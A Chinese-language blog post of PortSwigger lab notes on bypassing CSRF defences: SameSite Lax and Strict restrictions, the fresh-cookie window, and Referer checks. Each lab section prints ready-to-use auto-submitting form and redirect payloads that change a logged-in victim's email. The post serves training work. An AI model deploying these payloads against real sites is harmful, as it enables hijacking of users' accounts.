PostSwigger Web 安全学习:CSRF漏洞2

CSRF 漏洞学习网站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF 漏洞:SameSite相关绕过

当浏览器访问服务器时,服务器会在 Cookie 中添加 SameSite 属性来告诉浏览器是否在来自其他网站的请求中允许携带 Cookie。

如果发出 Cookie 的网站没有明确设置 SameSite 属性来限制来自其它网站的请求,那么浏览器自动设置 SameSite=Lax 以防止跨网站访问携带对方服务的 Cookie。

关于同源和同站点的问题,直接贴出 PostSwigger 官方解释:

请求方请求同站点?同源?
https://example.comhttps://example.com是的是的
https://app.example.comhttps://intranet.example.com是的否:域名不匹配
https://example.comhttps://example.com:8080是的否:端口不匹配
https://example.comhttps://example.co.uk否:不匹配的 eTLD否:域名不匹配
https://example.comhttp://example.com否:不匹配的方案否:不匹配的方案

SameSite 工作流程

在 SameSite 机制之前,浏览器针对每个请求都会添加对应网站的 Cookie,不管它是否是来自其他站点,这就导致了常规的 CSRF 携带 Cookie 攻击。SameSite 的工作原理是使浏览器和网站所有者能够限制哪些跨站点请求(如果有)应包含特定 Cookie。如下是 SameSite 等级:

  • Strict:只要请求属于跨站请求,就不携带 Cookie。

  • Lax:如果请求属于跨站请求,满足以下条件可以携带 Cookie:

    • 使用 Get 方式发起请求。

    • 使用顶级导航发起请求(如地址栏输入和超链接跳转)。

  • None:跨站请求携带 Cookie。

开发人员可以手动设置他们网站的 SameSite 级别,例如:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

实验:使用 GET 请求绕过 Lax 限制

使用顶级导航
<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
POST 伪装成 GET

这是某些框架的特性,表单声明为 method="POST",但被框架覆盖为 GET 请求,服务器看作 GET 请求,而浏览器认为是 POST 请求。

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000">
</form>

payload:

让 POST 请求覆盖 GET 请求,导致浏览器按 GET 请求判断,服务器按 POST 请求处理。

<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

总结:探测框架特性,看是否允许方式覆盖。

通过客户端重定向绕过 Strict

如果目标站点存在站内导航的重定向 url,那么 CSRF 将不存在跨域问题。

相当于用户二次访问同一个站点:

  • 第一次从钓鱼页面跳转到目标网站。

  • 第二次从目标网站重定向到攻击者服务器的受害页面。

  • 第三次从攻击者的服务器页面跳转到敏感页面(如:修改邮箱)。

  • 成功的原因:浏览器能追踪客户端重定向,当它根据源网站来判断需不需要携带 Cookie 时,浏览器会追踪到重定向之前的网站作为源网站。(注意:要区分跳转和重定向。)

注:以上重定向必须是客户端重定向,如果是服务端重定向,比如说服务端发送了一个 Location 的包给浏览器,浏览器能追踪到最初的请求站点,并检测到他们不是同一个站点。差别如下:

客户端重定向用户中招(通过 HTML 或 js 触发的重定向):

  1. 用户访问钓鱼页面。

  2. 用户跳转到受害者网站。(当受害者网站触发重定向时,浏览器仍将受害者网站作为源网站来判断是否跨域)

  3. 从受害者网站重定向攻击者页面(如修改邮箱)。

  4. 攻击者页面向受害者网站发送敏感请求。

服务端重定向利用失败(通过 HTTP 进行的重定向):

  1. 用户访问钓鱼页面。

  2. 钓鱼页面触发服务端重定向(假设存在)。

  3. 服务器返回 Location 包。

  4. 浏览器解析 Location 包,并从钓鱼页面跳转过去。(将钓鱼页面记作源网站,不携带 Cookie)

实验:通过客户端重定向绕过 Strict

当你在某一文章下发表完评论后,会跳转到文章页面:

redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000);
}

访问:https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8
重定向后的 url =  blogPath + '/' + postId
其中:
blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post
postId = 8
重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8
​
如果篡改 postId = ../my-account,访问如下url:
https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account
​
会跳转到登录页面:

payload:

<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1";
</script>

注:要 URL 编码 & 分隔符,防止一开始就被解析。

实验:使用新发布的 Cookie 绕过 SameSite Lax 限制

绕过场景:服务器没有设置 Cookie 的 SameSite 属性,导致默认 Lax。

Chrome 为了避免破坏单点登录(SSO)机制,不会在前 120 秒内对顶级请求实施这些限制。

攻击者需要让用户重新生成 Cookie,以获取这 2 分钟的窗口期进行攻击。

使用如下 poc 放在攻击者服务器上:

<script>history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();
</script>

当你在登录后的 2 分钟之内访问它,发现 poc 能成功生效,如下图修改邮箱成功。

如果用户登录超过两分钟,那么诱使用户访问其他页面重新获取 Cookie 后,再访问敏感操作页面(如修改邮箱)。

<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000);
​function changeEmail(){document.forms[0].submit();}
</script>

触发目标网站的 OAuth 登录流程:

  1. 用户已登录目标网站,但 SSO 提供商会重新颁发会话(例如,OAuth 流程每次生成新会话)。

  2. 第一次 SSRF:攻击者诱导用户重新完成 OAuth 登录,生成新 Cookie。(window.open 新标签不受 Lax 限制)

  3. 第二次 SSRF:新 Cookie 进入 2 分钟窗口期,此时可绕过 Lax 限制。

重点,攻击者能通过 CSRF 让用户重新获取 Session。

基于 Referer 的 CSRF 防御

Referer 用于服务器获取请求页面的来源页面的 URL,如果服务器发现 Referer 头不合法,那么判定用户正在遭受钓鱼攻击。

常规的检测手法,检测 Referer 头是否是本域。

绕过手段:

  • 宽松的 Referer 验证逻辑:攻击者控制 attacker.com/example.com,此时 Referer 为 attacker.com/example.com。

  • Referer 标头的删除导致服务器不验证来源。

实验:Referer 标头的删除导致服务器不验证来源

payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

实验:宽松的 Referer 验证逻辑

那就在 HTML 钓鱼页面加上:

  <meta name="referrer" content="unsafe-url">       <!-- 防止添加的东西被过滤 --><!-- history.pushState 用于在浏览器历史记录中添加一条新的记录,同时改变当前的 URL,但不会触发页面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新历史 url,添加上这个参数 -->

完整 payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body>
</html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/78628.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从基础到实战的量化交易全流程学习:1.3 数学与统计学基础——概率与统计基础 | 数字特征

从基础到实战的量化交易全流程学习&#xff1a;1.3 数学与统计学基础——概率与统计基础 | 数字特征 第一部分&#xff1a;概率与统计基础 第2节&#xff1a;数字特征&#xff1a;期望值、方差、协方差与相关系数 一、期望值&#xff08;Expected Value&#xff09;&#xff1a…

MySQL(聚合函数)

单行函数 对每一条记录输入值进行计算&#xff0c;得到相应的计算结果&#xff0c;返回给用户&#xff0c;也就是说&#xff0c;每条记录作为一个输入参数&#xff0c;经过函数计算得到每条记录的计算结果。 每一个函数中都有一些常用的函数&#xff08;方法&#xff09; 在学…

babel核心知识点

Babel 是一个 JavaScript 编译器&#xff0c;主要用于将 ECMAScript 2015 版本的代码转换为向后兼容的 JavaScript 代码&#xff0c;以便在旧版本的浏览器或环境中运行。以下是 Babel 的核心知识点&#xff1a; 1. 基本概念 编译器&#xff1a;Babel 本质上是一个编译器&…

javaScript--数据结构和算法

在 JavaScript 里&#xff0c;数据结构和算法是十分关键的部分&#xff0c;下面介绍几种常见的数据结构和对应的算法。 数组&#xff08;Array&#xff09; 数组是最基础的数据结构&#xff0c;用于存储一系列有序的数据。 // 创建数组 const arr [1, 2, 3, 4, 5];// 访问元素…

π0.5:带开放世界泛化的视觉-语言-动作模型

25年4月来自具身机器人创业公司 PI 公司的论文“π0.5: a Vision-Language-Action Model with Open-World Generalization”。 为了使机器人发挥作用&#xff0c;它们必须在实验室之外的现实世界中执行实际相关的任务。虽然视觉-语言-动作 (VLA) 模型在端到端机器人控制方面已…

使用 OpenCV 和 dlib 进行人脸检测

文章目录 1. 什么是 dlib2. 前期准备介绍2.1 环境准备2.2 dlib 的人脸检测器 3. 代码实现3.1 导入库3.2 加载检测器3.3 读取并调整图像大小3.4 检测人脸3.5 绘制检测框3.6 显示结果 4. 完整代码5. 优化与改进5.1 提高检测率5.2 处理 BGR 与 RGB 问题 6. 总结 人脸检测是计算机视…

spring 的PropertySource 类与 @PropertySource 注解详解与对比

PropertySource 类与 PropertySource 注解详解与对比 在这里插入图片描述 一、PropertySource 类详解 1. 类型与作用 类型&#xff1a;接口&#xff08;org.springframework.core.env.PropertySource&#xff09;作用&#xff1a;抽象配置数据源&#xff0c;提供统一的键值…

Java后端开发day37--源码解析:TreeMap可变参数--集合工具类:Collections

&#xff08;以下内容全部来自上述课程&#xff09; 1. TreeMap 1.1 须知 1.1.1 Entry 节点初始为黑色&#xff1a;提高代码阅读性 1.1.2 TreeMap中的成员变量 comparator&#xff1a;比较规则root&#xff1a;红黑树根节点的地址值size&#xff1a;集合的长度和红黑树…

基于Playwright的浏览器自动化MCP服务

一、服务定位与核心功能 github.com/executeautomation/mcp-playwright 是一个基于 Playwright&#xff08;微软开源的跨浏览器自动化测试框架&#xff09;的 Model Context Protocol (MCP) 服务&#xff0c;核心功能是将浏览器自动化能力集成到大语言模型&#xff08;LLM&…

OSPF网络协议

OSPF&#xff08;Open Shortest Path First&#xff09;是一种链路状态路由协议&#xff0c;属于IGP&#xff08;内部网关协议&#xff09;&#xff0c;用于在单一自治系统&#xff08;AS&#xff09;内动态分发路由信息。它通过计算最短路径&#xff08;基于Dijkstra算法&…

Ubuntu 22.04.4操作系统初始化详细配置

上一章节&#xff0c;主要讲解了Ubuntu 22.04.4操作系统的安装&#xff0c;但是在实际生产环境中&#xff0c;需要对Ubuntu操作系统初始化&#xff0c;从而提高系统的性能和稳定性。 一、查看Ubuntu系统版本和内核版本 # 查看系统版本 testubuntu:~$ sudo lsb_release -a Rel…

【Linux应用】开发板快速上手:镜像烧录、串口shell、外设挂载、WiFi配置、SSH连接、文件交互(RADXA ZERO 3为例)

【Linux应用】开发板快速上手&#xff1a;镜像烧录、串口shell、外设挂载、WiFi配置、SSH连接、文件交互&#xff08;RADXA ZERO 3为例&#xff09; 参考&#xff1a; ZERO 3 | Radxa Docs 大部分的Linux开发板等设备都大同小异 如树莓派、香橙派、STM32MP135的Linux开发板等 …

Redis使用总结

NoSQL 1.1为什么要用NoSQL 面对现在用户数据的急剧上升&#xff0c;我们需要对这些用户数据进行挖掘&#xff0c;传统的关系型数据库已经不适合这些 应用了.Nosql 的发展可以很了的处理这些大的数据. 1.2什么是NoSQL Not Only Sql->NoSQL(不仅仅是SQL) 非关系型数据库.随…

Unity ML-Agents + VScode 环境搭建 Windows

安装Unity 先去官网下载Unity Hub&#xff0c;然后安装在D盘就可以了&#xff0c;你需要手机上安装一个Unity Connect进行账号注册。 详细的注册可以参考&#xff1a; https://blog.csdn.net/Dugege007/article/details/128472571 注册好了以后登入电脑端的Unity Hub&#x…

Linux电源管理(2)_常规的电源管理的基本概念和软件架构

原文&#xff1a; Linux电源管理(2)_Generic PM之基本概念和软件架构 1. 前言 Linux系统中那些常规的电源管理手段&#xff0c;包括关机&#xff08;Power off&#xff09;、待机&#xff08;Standby or Hibernate&#xff09;、重启&#xff08;Reboot&#xff09;等。这些…

机器学习基础理论 - 分类问题评估指标

几个定义:混淆矩阵 TP: True Positives, 表示实际为正例且被分类器判定为正例的样本数FP: False Positives, 表示实际为负例且被分类器判定为正例的样本数FN: False Negatives, 表示实际为正例但被分类器判定为负例的样本数TN: True Negatives, 表示实际为负例且被分类…

在线教育系统开发常见问题及解决方案:源码部署到运营维护

当下&#xff0c;越来越多的教育机构、企业培训部门以及创业者&#xff0c;选择开发属于自己的在线教育系统。然而&#xff0c;从源码部署到实际运营&#xff0c;整个过程中常常会遇到一系列技术与管理难题。今天&#xff0c;笔者将从在线教育系统源码维护、运营等几个方向为大…

RAG(Retrieval-Augmented Generation,检索增强生成)

RAG&#xff08;Retrieval-Augmented Generation&#xff0c;检索增强生成&#xff09;是一种结合 信息检索 和 文本生成 的技术&#xff0c;旨在提升大语言模型&#xff08;LLM&#xff09;生成内容的准确性和时效性。其核心思想是&#xff1a;先检索相关知识&#xff0c;再基…

项目实战 -- 状态管理

redux基础 还记得好久好久之前就想要实现的一个功能吗&#xff1f; 收起侧边栏折叠菜单&#xff0c;没错&#xff0c;现在才实现 因为不是父子通信&#xff0c;所以处理起来相对麻烦一点 可以使用状态树或者中间人模式 这就需要会redux了 Redux工作流&#xff1a; 异步就…

Go语言之路————指针、结构体、方法

Go语言之路————指针、结构体、方法 前言指针结构体声明初始化使用组合引用结构体和指针结构体的标签 方法例子结合结构体总结 前言 我是一名多年Java开发人员&#xff0c;因为工作需要现在要学习go语言&#xff0c;Go语言之路是一个系列&#xff0c;记录着我从0开始接触Go…